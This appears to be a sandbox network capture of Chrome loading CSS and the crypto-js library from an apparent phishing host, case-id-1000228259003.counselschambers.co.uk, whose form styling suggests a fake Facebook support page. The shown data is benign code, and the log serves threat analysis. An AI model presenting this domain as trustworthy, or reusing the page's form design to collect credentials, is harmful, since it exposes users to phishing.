2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 70 78 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 32 30 70 78 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 34 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 Data Ascii: -webkit-transform: translateX(20px); transform: translateX(20px); } 40% { opacity: 1; -webkit-transform: translateX(0px); transform: translateX(0px);
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 38 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 69 6e 67 2d 62 75 6c 6c 65 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 33 73 20 65 61 73 65 20 30 2e 35 73 20 69 6e 66 69 6e 69 74 Data Ascii: 0% { opacity: 1; } 80% { opacity: 0; } } .loading-bullet { display: inline-block; opacity: 0; -webkit-animation: 3s ease 0.5s infinit
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 2d 2d 73 61 76 69 6f 72 2d 6f 76 65 72 6c 61 79 2d 7a 2d 69 6e 64 65 78 2d 72 65 73 65 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 2d 2d 73 61 76 69 6f 72 2d 6f 76 65 72 6c 61 79 2d 64 69 73 70 6c 61 79 2d 6e 6f 6e 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 2d 2d 73 61 76 69 6f 72 2d 6f 76 65 72 6c 61 79 2d 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 65 61 72 3a Data Ascii: ortant; } .--savior-overlay-z-index-reset { z-index: auto !important; } .--savior-overlay-display-none { display: none !important; } .--savior-overlay-clearfix { clear:
2025-03-14 09:08:31 UTC	1369	IN	Data Raw: 68 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 76 77 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 39 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 2d 2d 73 61 76 69 6f 72 2d 6f 76 65 72 6c 61 79 2d 74 77 69 74 74 65 72 2d 76 69 64 65 6f 2d 70 6c 61 79 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 38 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 38 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 3a 20 31 30 25 3b 0a 20 20 20 20 20 Data Ascii: h; width: 100vw !important; background-color: rgba(0, 0, 0, 0.9); } .--savior-overlay-twitter-video-player { position: fixed; width: 80%; height: 80%; top: 10%;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49728	104.21.70.234	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:31 UTC	621	OUT	GET /index-5b6c678b.css HTTP/1.1 Host: case-id-1000228259003.counselschambers.co.uk Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://case-id-1000228259003.counselschambers.co.uk/help.html Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:32 UTC	939	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:32 GMT Content-Type: text/css Content-Length: 13511 Connection: close Last-Modified: Tue, 11 Feb 2025 14:58:46 GMT ETag: "34c7-62ddf0fd25ec2" Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4K0cUEkiqS05Vr0Zo0PySJWOu3lfRd8iOcchTeJSkGLwyKSvFW%2BKqIFQJC2b58yns7DkdTGyg93IvY9WVUhxJjWQ6s3wwNJJF%2Fo0YnDxxKYajFLWjpSmpOwwkMM1TkWD%2BDwzLiHaUzQJ8qv9H20ljjdNsudyjVURnGNMMOcFfg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a0826ea46e53-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2135&min_rtt=2094&rtt_var=814&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1193&delivery_rate=1394460&cwnd=123&unsent_bytes=0&cid=e37cf21cb46599a9&ts=976&x=0"
2025-03-14 09:08:32 UTC	430	IN	Data Raw: 2e 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 32 65 6d 3b 77 69 6c 6c 2d 63 68 61 6e 67 65 3a 66 69 6c 74 65 72 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 66 69 6c 74 65 72 20 2e 33 73 7d 2e 6c 6f 67 6f 3a 68 6f 76 65 72 7b 66 69 6c 74 65 72 3a 64 72 6f 70 2d 73 68 61 64 6f 77 28 30 20 30 20 32 65 6d 20 23 36 34 36 63 66 66 61 61 29 7d 2e 6c 6f 67 6f 2e 72 65 61 63 74 3a 68 6f 76 65 72 7b 66 69 6c 74 65 72 3a 64 72 6f 70 2d 73 68 61 64 6f 77 28 30 20 30 20 32 65 6d 20 23 36 31 64 61 66 62 61 61 29 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 6f 67 6f 2d 73 70 69 6e 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 72 65 Data Ascii: .logo{height:2em;will-change:filter;transition:filter .3s}.logo:hover{filter:drop-shadow(0 0 2em #646cffaa)}.logo.react:hover{filter:drop-shadow(0 0 2em #61dafbaa)}@keyframes logo-spin{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@media (prefers-re
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 20 62 6f 74 74 6f 6d 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 62 61 6e 6e 65 72 2d 62 31 34 38 32 64 34 63 2e 77 65 62 70 29 7d 2e 62 61 6e 6e 65 72 2d 63 6f 6e 74 65 6e 74 31 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 34 33 37 36 30 62 33 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 31 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 3a 35 30 70 78 20 30 3b 68 65 69 67 68 74 3a Data Ascii: 0;background-repeat:no-repeat;background-size:cover;text-align:center;background-position:center bottom;background-image:url(banner-b1482d4c.webp)}.banner-content1{background-color:#243760b3;position:absolute;z-index:1;top:0;left:0;padding:50px 0;height:
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 78 3b 77 69 64 74 68 3a 34 30 76 77 7d 2e 70 72 6f 67 72 65 73 73 7b 68 65 69 67 68 74 3a 35 70 78 7d 2e 72 65 71 75 69 65 64 2d 74 65 78 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 34 38 34 38 34 38 61 62 7d 2e 62 6f 64 79 20 2e 77 72 61 70 2d 74 69 74 6c 65 20 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 31 63 31 62 31 62 64 39 7d 69 6e 70 75 74 23 74 78 74 5f 74 65 6c 6c 2c 69 6e 70 75 74 23 74 78 74 5f 69 73 73 75 65 2c 69 6e 70 75 74 23 65 6d 61 69 6c 2c 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 68 65 69 67 68 74 3a 35 30 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 3a Data Ascii: x;width:40vw}.progress{height:5px}.requied-text{font-size:16px;color:#484848ab}.body .wrap-title p{font-size:14px;color:#1c1b1bd9}input#txt_tell,input#txt_issue,input#email,input.form-control{height:50px!important}.react-international-phone-input{padding:
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 39 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 68 33 2e 68 33 2d 63 6f 6e 66 69 67 7b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 62 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 2e 69 63 6f 6e 46 62 2d 6b 65 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 Data Ascii: portant;font-size:16px!important;line-height:19px;color:#000!important;font-weight:500!important;margin-bottom:8px!important}h3.h3-config{color:#000000bf;font-size:16px;font-weight:700;margin-bottom:10px;margin-top:20px}.iconFb-key{background-image:url(ht
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 69 6e 76 65 72 74 28 35 39 25 29 20 73 65 70 69 61 28 31 31 25 29 20 73 61 74 75 72 61 74 65 28 32 30 30 25 29 20 73 61 74 75 72 61 74 65 28 31 33 35 25 29 20 68 75 65 2d 72 6f 74 61 74 65 28 31 37 36 64 65 67 29 20 62 72 69 67 68 74 6e 65 73 73 28 39 36 25 29 20 63 6f 6e 74 72 61 73 74 28 39 34 25 29 7d 2e 74 65 78 74 2d 63 61 72 64 2d 63 75 73 74 6f 6d 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 36 32 35 72 65 6d 21 69 6d 70 6f 72 Data Ascii: -repeat:no-repeat;display:inline-block;-webkit-filter:invert(59%) sepia(11%) saturate(200%) saturate(135%) hue-rotate(176deg) brightness(96%) contrast(94%)}.text-card-custom{font-family:inherit!important;font-weight:400!important;font-size:1.0625rem!impor
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 2d 2d 68 69 64 65 2d 64 72 6f 70 64 6f 77 6e 7b 63 75 72 73 6f 72 3a 61 75 74 6f 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 2d 2d 68 69 64 65 2d 64 72 6f 70 64 6f 77 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 5f 5f 62 75 74 74 6f 6e 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c Data Ascii: -international-phone-country-selector-button--hide-dropdown{cursor:auto}.react-international-phone-country-selector-button--hide-dropdown:hover{background-color:transparent}.react-international-phone-country-selector-button__button-content{display:flex;al
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 2d 64 69 73 61 62 6c 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 2c 20 77 68 69 74 65 73 6d 6f 6b 65 29 29 3b 63 75 72 73 6f 72 3a 61 75 74 6f 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 2d 2d 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 64 69 73 61 62 6c 65 64 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 74 6f 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 2c 20 76 61 72 28 2d 2d 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 64 69 73 61 62 6c 65 64 2d 62 Data Ascii: -disabled-background-color, whitesmoke));cursor:auto}.react-international-phone-country-selector-button--disabled:hover{background-color:var(--react-international-phone-disabled-country-selector-background-color, var(--react-international-phone-disabled-b
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 64 72 6f 70 64 6f 77 6e 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 66 6c 61 67 2d 65 6d 6f 6a 69 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 74 6f 72 2d 64 72 6f 70 64 6f 77 6e 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 63 6f 75 6e 74 72 79 2d 6e 61 6d 65 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 2d 66 6f 6e 74 2d 73 69 7a 65 2c 20 31 34 70 78 29 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 Data Ascii: dropdown__list-item-flag-emoji{margin-right:8px}.react-international-phone-country-selector-dropdown__list-item-country-name{margin-right:8px;font-size:var(--react-international-phone-dropdown-item-font-size, 14px)}.react-international-phone-country-selec
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 6f 72 3a 76 61 72 28 2d 2d 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 73 65 6c 65 63 74 65 64 2d 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 2d 64 69 61 6c 2d 63 6f 64 65 2d 63 6f 6c 6f 72 2c 20 76 61 72 28 2d 2d 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 2d 64 69 61 6c 2d 63 6f 64 65 2d 63 6f 6c 6f 72 2c 20 67 72 61 79 29 29 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 74 6f 72 2d 64 72 6f 70 64 6f 77 6e 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 2d 66 6f 63 75 73 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 Data Ascii: or:var(--react-international-phone-selected-dropdown-item-dial-code-color, var(--react-international-phone-dropdown-item-dial-code-color, gray))}.react-international-phone-country-selector-dropdown__list-item--focused{background-color:var(--react-internat
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 61 6c 2d 70 68 6f 6e 65 2d 64 69 73 61 62 6c 65 64 2d 74 65 78 74 2d 63 6f 6c 6f 72 2c 20 23 36 36 36 29 29 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 69 6e 70 75 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 69 6e 70 75 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 63 6f 75 6e 74 72 79 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 76 61 72 28 2d 2d 72 65 61 63 74 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2d 70 68 6f 6e 65 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 2c 20 34 70 78 29 3b 6d 61 Data Ascii: al-phone-disabled-text-color, #666))}.react-international-phone-input-container{display:flex}.react-international-phone-input-container .react-international-phone-country-selector-button{border-radius:var(--react-international-phone-border-radius, 4px);ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	104.17.24.14	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:32 UTC	627	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:32 UTC	959	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:32 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-7b00" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 855 Expires: Wed, 04 Mar 2026 09:08:32 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RThE3ZWezfuquQbOc689d9EbvbC7DWcl%2BpnjBMKGBOQO5a%2FdUlTtqBFxgaOfMIByDzkuL1UUCUVnQPIgfsz8muQX7bSljCuE8MyjgaRxyPx%2Fwq37dE8sb%2FRsAs%2FUMj4jxXDO8lkW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9202a085ae84421c-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 09:08:32 UTC	410	IN	Data Raw: 37 62 65 61 0d 0a 3b 28 66 75 6e 63 74 69 6f 6e 20 28 72 6f 6f 74 2c 20 66 61 63 74 6f 72 79 29 20 7b 0a 09 69 66 20 28 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 29 20 7b 0a 09 09 2f 2f 20 43 6f 6d 6d 6f 6e 4a 53 0a 09 09 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 65 78 70 6f 72 74 73 20 3d 20 66 61 63 74 6f 72 79 28 29 3b 0a 09 7d 0a 09 65 6c 73 65 20 69 66 20 28 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 29 20 7b 0a 09 09 2f 2f 20 41 4d 44 0a 09 09 64 65 66 69 6e 65 28 5b 5d 2c 20 66 61 63 74 6f 72 79 29 3b 0a 09 7d 0a 09 65 6c 73 65 20 7b 0a 09 09 2f 2f 20 47 6c 6f 62 61 6c 20 28 62 72 6f 77 73 65 72 29 0a 09 09 72 6f 6f 74 Data Ascii: 7bea;(function (root, factory) {if (typeof exports === "object") {// CommonJSmodule.exports = exports = factory();}else if (typeof define === "function" && define.amd) {// AMDdefine([], factory);}else {// Global (browser)root
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 4d 61 74 68 2c 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 0a 09 20 20 20 20 76 61 72 20 63 72 79 70 74 6f 3b 0a 0a 09 20 20 20 20 2f 2f 20 4e 61 74 69 76 65 20 63 72 79 70 74 6f 20 66 72 6f 6d 20 77 69 6e 64 6f 77 20 28 42 72 6f 77 73 65 72 29 0a 09 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 20 7b 0a 09 20 20 20 20 20 20 20 20 63 72 79 70 74 6f 20 3d 20 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 3b 0a 09 20 20 20 20 7d 0a 0a 09 20 20 20 20 2f 2f 20 4e 61 74 69 76 65 20 63 72 79 70 74 6f 20 69 6e 20 77 65 62 20 77 6f 72 6b 65 72 20 28 42 72 6f 77 73 65 72 29 0a 09 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 Data Ascii: (function (Math, undefined) { var crypto; // Native crypto from window (Browser) if (typeof window !== 'undefined' && window.crypto) { crypto = window.crypto; } // Native crypto in web worker (Browser) if (typeof
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 63 72 79 70 74 6f 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 3b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 72 72 29 20 7b 7d 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 55 73 65 20 72 61 6e 64 6f 6d 42 79 74 65 73 20 6d 65 74 68 6f 64 20 28 4e 6f 64 65 4a 53 29 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 63 72 79 70 74 6f 2e 72 61 6e 64 6f 6d 42 79 74 65 73 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 20 7b 0a Data Ascii: return crypto.getRandomValues(new Uint32Array(1))[0]; } catch (err) {} } // Use randomBytes method (NodeJS) if (typeof crypto.randomBytes === 'function') { try {
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 40 73 74 61 74 69 63 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 40 65 78 61 6d 70 6c 65 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 20 20 20 20 76 61 72 20 4d 79 54 79 70 65 20 3d 20 43 72 79 70 74 6f 4a 53 2e 6c 69 62 2e 42 61 73 65 2e 65 78 74 65 6e 64 28 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 20 20 20 20 20 20 20 20 66 69 65 6c 64 3a 20 27 76 61 6c 75 65 27 2c 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 20 20 20 20 20 20 20 20 6d 65 74 68 6f 64 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: * @static * * @example * * var MyType = CryptoJS.lib.Base.extend({ * field: 'value', * * method: function () {
